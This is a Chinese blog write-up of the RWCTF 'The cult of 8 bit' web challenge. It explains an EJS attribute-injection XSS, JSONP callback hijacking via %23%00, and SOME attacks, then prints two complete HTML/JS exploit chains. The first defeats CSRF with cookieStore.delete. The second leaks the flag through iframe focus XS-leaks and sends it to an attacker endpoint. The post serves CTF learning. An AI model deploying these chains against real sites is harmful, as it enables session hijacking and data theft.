RWCTF The cult of 8 bit 复现

非常精彩的前端题。

前期思考

题目模拟了一个博客网站,用户可以添加post和todo

image-20230114233106272

XSS BOT可以访问任意URL。

flag在admin发的一篇post里,也就是说其id会在home页面会显示。

所以应该通过题目自带的一些XSS点,在home页面XSS把数据带出。

Home页面1click XSS

home页面的todo list是用ejs渲染的,如果todo是url的话会渲染为a标签。

后端逻辑

let isURL = false;
try {
    new URL(text); // errors if not valid URL
    isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no
} catch {}

home.ejs

              <%_ user.todos.forEach(todo => { _%>
                <%_ if (todo.isURL) { _%>
                  <li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>
                <%_ } else { _%>
                <li class="has-text-left"><%= todo.text %></li>
                <%_ } _%>
              <%_ }); _%>

存在很明显的拼接,构造如下todo就能1click XSS

http://127.0.0.1:12345? onclick=alert()

POST页面反射型XSS

POST页面存在一个JSONP机制。

前端:

      const POST_SERVER = "";

      const $ = document.querySelector.bind(document); // imagine using jQuery...

      function load_post(post) {
        if (!post.success) {
          $("#post-name").innerText = "Error";
          $("#post-body").innerText = post.error;
          return;
        }

        $("#post-name").innerText = post.name;
        $("#post-body").innerText = post.body;
      }

      window.onload = function() {
        const id = new URLSearchParams(window.location.search).get('id');
        if (!id) {
          return;
        }

        // Load post from POST_SERVER
        // Since POST_SERVER might be a different origin, this also supports loading data through JSONP
        const request = new XMLHttpRequest();
        try {
          request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
          request.send(null);
        }
        catch (err) { // POST_SERVER is on another origin, so let's use JSONP
          let script = document.createElement("script");
          script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
          document.head.appendChild(script);
          return;
        }

        load_post(JSON.parse(request.responseText));
      }

后端

router.get("/post/:id", (req, res) => {
    let { id } = req.params;

    if (!id || typeof id !== "string") {
        return res.jsonp({
            success: false,
            error: "Missing id"
        });
    }

    if (!db.posts.has(id)) {
        return res.jsonp({
            success: false,
            error: "No post found with that id"
        });
    }

    let post = db.posts.get(id);
    return res.jsonp({
        success: true,
        name: post.name,
        body: post.body
    });
});

由于JSONP的机制,后端会取出callback参数,拼接出js代码返回给前端。效果如下

image-20230114234827817

当URL为

http://127.0.0.1:12345/post/?id=bfe43284-77fe-4256-8295-f5915b35fcd5? callback=alert%23%00

的时候,由于URL包含%00会进入catch,然后%23#,后面的callback会被当作anchor解析,这样就可以控制任意callback了。注意这里参数是不可控的。

SOME ATTACK

这里要介绍本题用到的重要方法--SOME ATTACK。

https://www.someattack.com/Playground/About

简单来说,如果页面a和页面b同源,b存在xss,受害者访问恶意的c网站,那么就能在a页面xss。

Solution1: cookieStore.delete

Home页面的click可以通过POST页面设置callback为opener.document.links[4].click完成点击。所以需要让BOT登录我们自己的账号,这个账号包含一个XSS todo。但是这就涉及到题目设置的csrf机制。审计代码可以发现登录登出等操作需要会根据比较cookie的_csrf和请求参数_csrf比较。当cookie里_csrf为空的时候请求参数_csrf为空的话就可以绕过这个机制。

cookieStore.delete函数刚好可以在POST页面做到这一点。其正好有一个参数name

name

A string with the name of a cookie.

而name就是可控的用户名。

该解法大致步骤如下:

  1. BOT访问可控的a.html
  2. a.html控制跳转到admin home,然后打开新窗口b.html
  3. b.html需要做的事情:

​ 3.1 cookieStore.delete删除_csrf

​ 3.2 logout

​ 3.3 cookieStore.delete删除_csrf

​ 3.4 用form来登录事先准备好的用户evil

​ 3.5 打开evil home,然后打开新窗口c.html

  1. c.html通过opener.document.links[N].click完成SOME ATTACK,在evil home点击XSS a tag
  2. XSS a tag用opener往前找,把admin home的数据外带

以下是Sndav神的EXP

a.html

<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const main = async () => {
open("b.html")
location.replace("http://127.0.0.1:12345");
}
main();
</script>

b.html

<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const main = async () => {
PAYLOAD = `cookieStore.delete`;
t = open(`http://127.0.0.1:12345/post/?id=bfe43284-77fe-4256-8295-f5915b35fcd5?
callback=${PAYLOAD}%23%00`);
await sleep(1000);
t.close();
t = open("http://127.0.0.1:12345/api/logout");
await sleep(1000);
t.close()
PAYLOAD = `cookieStore.delete`;
t = open(`http://127.0.0.1:12345/post/?id=bfe43284-77fe-4256-8295-f5915b35fcd5?
callback=${PAYLOAD}%23%00`);
await sleep(1000);
t.close();
t = open("login.html")
await sleep(1000);
t.close();
open("c.html")
}
main();
</script>

login.html

<body>
<form action="http://127.0.0.1:12345/api/login" method="POST">
<input class="input" type="text" placeholder="Username" name="user"
value="sndav2"/>
<input class="input" type="password" placeholder="Password" name="pass"
value="12345678"/>
<input type="submit" value="Login"/>
</form>
</body>
<script>
document.forms[0].submit();
</script>

c.html

<script>
PAYLOAD = `opener.document.links[4].click`;
t = open(`http://127.0.0.1:12345/post/?id=bfe43284-77fe-4256-8295-f5915b35fcd5?
callback=${PAYLOAD}%23%00`);
location.replace("http://127.0.0.1:12345");
</script>

Solution2: focus + XSleaks

另一种解法是利用了focus这个无参函数给iframe打上标记,iframe的作用是用于XSleaks。

步骤如下:

  1. BOT访问a.html
  2. a.html控制跳转到admin home,然后打开新窗口b.html
  3. b.html设置一些iframe,每个iframe对应一个字典元素,并实时记录iframe的focus情况。然后跳转到c.html
  4. c.html打开d.html
  5. d.html利用opener定位到admin home flag href的第i位,并通过c.html触发focus在b.html对应的iframe做标记

以下是sh1yo师傅的EXP:

a.html

<script>
    b = open(`/b.html`);
    location.replace("http://localhost:12345/");
</script>

b.html

<body>
    <a id=focusme href=#>sth</a>
    <script>
        const sleep = d => new Promise(r => setTimeout(r, d));
        alphabet = "0123456789abcdef-"

        //create iframes
        for (var i = 0; i < alphabet.length; i++) {
            iframe = document.createElement("iframe");
            iframe.name = alphabet[i];
            iframe.src = "http://localhost:12345/";
            document.body.appendChild(iframe);
        }

        //array for found characters
        hovered = []

        const main = async () => {
            // every 0.075 secs check for iframes' onfucus event
            setInterval(() => {
                p = document.activeElement.name
                if (p) {
                    // if there's focus on an iframe -- add its character to hovered and change the focus
                    hovered.push(p);
                    document.getElementById("focusme").focus();
                }
            }, 75)

            await sleep(2000);
            c = open(`/c.html`);
            await sleep(2000 + 150);

            // every 500 secs send found characters to our server endpoint /ret/:characters
            setInterval(() => {
                fetch(`/ret/${hovered.join("")}`)
            }, 500);
        }

        main();
    </script>
</body>

c.html

<script>
    b = open(`/d.html`);
    location.replace("http://localhost:12345/");
</script>

d.html

<script>
    const sleep = d => new Promise(r => setTimeout(r, d));

    const main = async () => {
        await sleep(1000);

        // 32 is the start of the href url that contains id
        // 36 is the len of the id
        for (var i = 32; i <= 32+36+1; i++) {
            // I'm explainig this payload below
            PAYLOAD = `opener.opener[opener.opener.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].href[${i}]].focus`;
            // change c.html page's location to the vulnerable page that executes callback
            opener.location.replace(`http://localhost:12345/post/?id=24bc9bc5-844c-4f37-8330-f3dbadd2e3a3?callback=${PAYLOAD}%23%00`);
            // check the next character every 1.5 secs so that the page have 1.5 sec to load.
            await sleep(1500);
        }
    }

    main();
</script>

参考

https://sh1yo.art/ctf/thecultof8bit/

Sndav

https://www.someattack.com/

https://h4cking2thegate.github.io/2023/01/10/RWCTF2023-the-cult-of-8bit/

posted @ 2023-01-15 00:53  KingBridge  阅读(134)  评论(0编辑  收藏  举报